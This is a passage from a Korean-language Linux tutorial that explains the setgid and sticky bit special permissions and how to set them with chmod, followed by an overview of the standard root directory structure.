이 명령어를 사용하면, 일반 사용자가 파일을 실행하면 파일 소유 그룹 권한으로 실행된다. setgid는 소유 그룹의 실행 권한에 x대신 s문자로 나타낸다. 마찬가지로 실행 권한이 없이나 setgid가 걸려있는 경우 대문자 S로 표시된다.
6.6.3. sticky bit
디렉토리에 이 명령어를 설정하면, 파일 및 디렉토리 소유자와 root 사용자 외에 일반 사용자가 파일을 삭제할 수 없다. 주로 공용 디렉토리에 사용한다. 일반 사용자의 실행 권한에 x대신 t문자로 타나낸다. 이 역시 실행 권한이 없는 경우에는 대문자 T로 표시된다.
6.6.4. 특수 권한 지정 방법
특수 권한을 지정할 때는, 권한 플래그 맨 앞에 숫자를 붙여 나타낸다. setuid는 4, setgid는 2, sticky bit는 1이다. 실습을 통해 이해해보자. 조금 햇갈린다.
먼저 chmod 4755 hello 명령어로 hello 파일에 실행 권한과 setuid를 설정해보자. 하나하나 설명하겠다. 4는 setuid/ 7=4+2+1 실행자에게 r, w, x모두를 부여/ 5는 소유 그룹에게 r과 x부여/ 5는 일반 사용자에게 r과 x부여이다.
setuid만 설정하는 경우 chmod u+s hello도 가능하다. 마찬가지로 setgid만 설정하는 경우는 chmod g+s hello, sticky bit만 설정하는 경우는 chmod o+t hello로 설정한다.
7. 디렉토리 구조
7.1. 루트 디렉토리 - /
루트 디렉토리는 리눅스의 최상위 디렉토리를 말하며, 절대 경로는 /이다. cd /; 또는 ls -l /를 실행하면 루트 디렉토리에 존재하는 파일과 디렉토리들을 볼 수 있다.
이중 몇 가지 중요한 디렉토리들을 살펴보자.
- /bin: 일반 유저가 사용할 수 있는 기본적인 명령어나 프로그램을 담고 있는 디렉토리이다
- /boot: 시스템 부팅에 필요한 파일들을 담고 있는 디렉토리이다
- /dev: 리눅스에서는 컴퓨터에 부착된 물리적인 장치들을 디바이스 드라이버를 거쳐 파일 형태로 접근 가능하다. 그러한 장치들을 나타내는 파일들을 담고 있는 디렉토리이다.
- /etc: 운영체제나 운영체제 위에서 동작하는 서비스의 설정 파일들을 담고 있는 디렉토리이다(3.11)
- /home: 각 일반 유저의 홈 디렉토리를 담고 있는 디렉토리이다. 일반 유저들은 각긱 자신만의 홈 디렉토리를 가지고 있다. 예를 들어 kail 유저의 홈 디렉토리는 /home/kali이다
- /lib: 시스템에 필요한 라이브러리 파일들을 담고 있는 디렉토리이다. /bin이나 /sbin 에 존재하는 프로그램이 필요로하는 동적 라이브러리 파일이 /lib 디렉토리에 존재한다.
- /opt: 소프트웨어 패키지들을 담는 디렉토리이다
- /proc: 리눅스 커널 자원에 접근할 수 있는 파일과 프로세스를 나타내는 파일을 담고 있다{커널}
- /root: 루트 유저의 홈 디렉토리이다
- /sbin: /bin디렉토리와 마찬가지로 기본적인 유저 명령어나 프로그램을 가지고 있는 디렉토리이다. /sbin은 root 유저가 사용할 수 있는 명령어나 프로그램을 가지고 있다
- /tmp: 유저나 프로그램이 임시로 파일을 생성해야할 때 사용할 수 있는 디렉토리이다. 본 디렉토리에 오래 존재했던 파일들은 자동으로 삭제되므로 주의하여 사용해야한다
- /usr: 사용자 바이너리, 문서, 라이브러리, 헤더 파일 등을 담고 있는 디렉토리이다
- /var: 프로그램이나 시스템이 실시간으로 가변적인 파일을 사용하고 저장해야 할 때 활용하는 디렉토리이다. 예를 들어 /var/log에는 다양한 로그 파일이 저장된다
/* 물론 모든 디렉토리의 모든 파일을 외울수 있다면, 리눅스를 사용하는데 있어서 많은 도움이 된다. 하지만 처음부터 모든 디렉토리의 모든 파일을 다 외워야 하는 것은 아니다. 공부할수록 자주 접하는 디렉토리나 파일이 생기게 되고, 그런 것들을 시작으로 자연스럽게 기억하고 이해하게 될 것이다. */
다음글이 없습니다.이전글이 없습니다.댓글